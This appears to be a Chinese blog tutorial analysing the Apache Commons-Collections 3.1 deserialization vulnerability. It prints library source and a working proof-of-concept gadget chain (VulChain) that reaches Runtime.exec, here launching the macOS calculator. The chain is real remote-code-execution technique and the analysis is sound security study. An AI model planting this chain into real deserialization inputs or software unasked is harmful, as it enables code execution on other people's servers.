zoukankan      html  css  js  c++  java
  • Commons-Collections漏洞

    Commons-collections漏洞

    0x01 POP调用链

    版本:Commons-Collections3.1

    下为Commons-Collections反序列实例代码:

    import org.apache.commons.collections.Transformer; 
    
    import org.apache.commons.collections.functors.InvokerTransformer; 
    
    public class VulTest { 
    
    public static void main(String[] args){ 
    
    Transformer transformer=new InvokerTransformer( 
    
    "append", 
    
    new Class[]{String.class}, 
    
    new Object[]{"exploitcat?"}); 
    
    Object newObject=transformer.transform(new StringBuffer("your name is ")); 
    
    System.out.println(newObject); 
    } 
    } 
    

    输入结果为:your name is exploitcat?

    很明显调用了append方法将两个字符串进行拼接,让我们来分析代码,首先声明了一个transformer的引用,查看Transformer这个类代码为:

    package org.apache.commons.collections; 
    
    public interface Transformer { 
    
    Object transform(Object var1); 
    
    } 
    

    刚开始没看懂=-=,这是定义的一个名为Transformer的接口类,其中声明了一个返回类型为Object的transform函数,接收参数为Object对象。

    InvokerTransformer为Transformer的一个子类,此处新建了一个InvokerTransformer类的实例,以此传入了append、new Class[]{String.class}、new Object[]{"exploitcat?"}三个参数。

    接下来进入InvokerTransformer这个类,发现当接收参数为这三个参数时,构造函数实现的功能为预设这三个参数的值,即:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 
    
    this.iMethodName = methodName; 
    
    this.iParamTypes = paramTypes; 
    
    this.iArgs = args; 
    
    } 
    
    
    

    Object newObject即新建一个对象引用,而transformer.transform(new StringBuffer("your name is ")),Java中String也是一个类,所以new StringBuffer("your name is ")为一个类对象,transform这个方法为继承父类Transformer的transform方法重写为:

    public Object transform(Object input) { 
    
    if (input == null) { 
    
    return null; 
    
    } else { 
    
    try { 
    
    Class cls = input.getClass(); 
    
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 
    
    return method.invoke(input, this.iArgs); 
    
    } catch (NoSuchMethodException var5) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 
    
    } catch (IllegalAccessException var6) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 
    
    } catch (InvocationTargetException var7) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 
    
    } 
    
    } 
    
    } 
    
    } 
    

    根据前面获得的三个参数的值,在此处利用反射调用了String类的append方法,将两个字符串进行拼接。

    下为另一处Commons-Collections反序列化漏洞示例代码

    import org.apache.commons.collections.Transformer; 
    
    import org.apache.commons.collections.functors.ChainedTransformer; 
    
    import org.apache.commons.collections.functors.ConstantTransformer; 
    
    import org.apache.commons.collections.functors.InvokerTransformer; 
    
    import org.apache.commons.collections.map.TransformedMap; 
    
    import java.util.HashMap; 
    
    import java.util.Map; 
    
    public class VulChain { 
    
    public static void main(String[] args){ 
    
    Transformer[] transformers=new Transformer[]{ 
    
    new ConstantTransformer(Runtime.class), 
    
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
    
    new Object[]{"getRuntime", new Class[0]}), 
    
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
    
    new Object[]{null, new Object[0]}), 
    
    new InvokerTransformer("exec", new Class[]{String.class}, 
    
    new Object[]{"open /Applications/Calculator.app"}) 
    
    }; 
    
    Transformer chain=new ChainedTransformer(transformers); 
    
    Map innerMap=new HashMap(); 
    
    innerMap.put("name","hello"); 
    
    Map outerMap= TransformedMap.decorate(innerMap,null,chain); 
    
    Map.Entry elEntry=(Map.Entry) outerMap.entrySet().iterator().next(); 
    
    elEntry.setValue("hello"); 
    
    } 
    
    } 
    

    在VulChain这个类中声明首先声明了一个Transformer类型对象数组transformers,放了ConstantTransformer与InvokerTransFormer两种对象。

    Transformer chain=new ChainedTransformer(transformers);则是传入一个transformers参数新建了一个Transformer类型的引用,进入ChainedTransformer这个类查看构造函数

    public ChainedTransformer(Transformer[] transformers) { 
    
    super(); 
    
    iTransformers = transformers; 
    
    } 
    
    
    

    其主要作用为将transformers赋给自己的属性iTransformers.

    下面的innerMap类型主要是为了后面的decorate方法传参,不用过多在意。

    而Map outerMap= TransformedMap.decorate(innerMap,null,chain);

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    
    return new TransformedMap(map, keyTransformer, valueTransformer); 
    
    } 
    
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    
    super(map); 
    
    this.keyTransformer = keyTransformer; 
    
    this.valueTransformer = valueTransformer; 
    
    } 
    

    decorate方法返回了一个TransformedMap对象,在TransforedMap构造函数将valueTransformer=chain

    elEntry.setValue("hello");中我们查看setValue函数声明,在AbstractInputCheckedMapDecorator这个类中:

    public Object setValue(Object value) { 
    
    value = parent.checkSetValue(value); 
    
    return entry.setValue(value); 
    
    } 
    
    
    

    而checkSetValue在TransformerMap中:

    protected Object checkSetValue(Object value) { 
    
    return valueTransformer.transform(value); 
    
    } 
    
    
    

    而ChainedTransformer中transform方法为:

    public Object transform(Object object) { 
    
    for (int i = 0; i < iTransformers.length; i++) { 
    
    object = iTransformers[i].transform(object); 
    
    } 
    
    return object; 
    
    } 
    
    
    

    InvokerTransformer中transform方法为:

    public Object transform(Object input) { 
    
    if (input == null) { 
    
    return null; 
    
    } 
    
    try { 
    
    Class cls = input.getClass(); 
    
    Method method = cls.getMethod(iMethodName, iParamTypes); 
    
    return method.invoke(input, iArgs); 
    
    } catch (NoSuchMethodException ex) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 
    
    } catch (IllegalAccessException ex) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 
    
    } catch (InvocationTargetException ex) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 
    
    } 
    
    } 
    
    } 
    
    
    

    在for循环中i、iTransformers[i]、object值分别为:

    i iTransformers[i] Object
    0 ConstantTransformer(Runtime.class) "hello"
    1 InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}) Runtime.class
    2 InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}) Runtime.class.getRuntime
    3 InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) Runtime.class.getRuntime.invoke(null,null)

    最终构成调用链:Runtime.class.getRuntime.invoke(null,null).exec('open /Applications/Calculator.app')

    0x02反序列化利用

    上面找到了POP利用链,现在我们只需要一个反序列化利用点,就可以构造好的Payload利用出去。

  • 相关阅读:
    教程:在 Visual Studio 中开始使用 Flask Web 框架
    教程:Visual Studio 中的 Django Web 框架入门
    vs2017下发现解决python运行出现‘No module named "XXX""的解决办法
    《sqlite权威指南》读书笔记 (一)
    SQL Server手工插入标识列
    hdu 3729 I'm Telling the Truth 二分图匹配
    HDU 3065 AC自动机 裸题
    hdu 3720 Arranging Your Team 枚举
    virtualbox 虚拟3台虚拟机搭建hadoop集群
    sqlserver 数据行统计,秒查语句
  • 原文地址:https://www.cnblogs.com/vincebye/p/10439205.html
Copyright © 2011-2022 走看看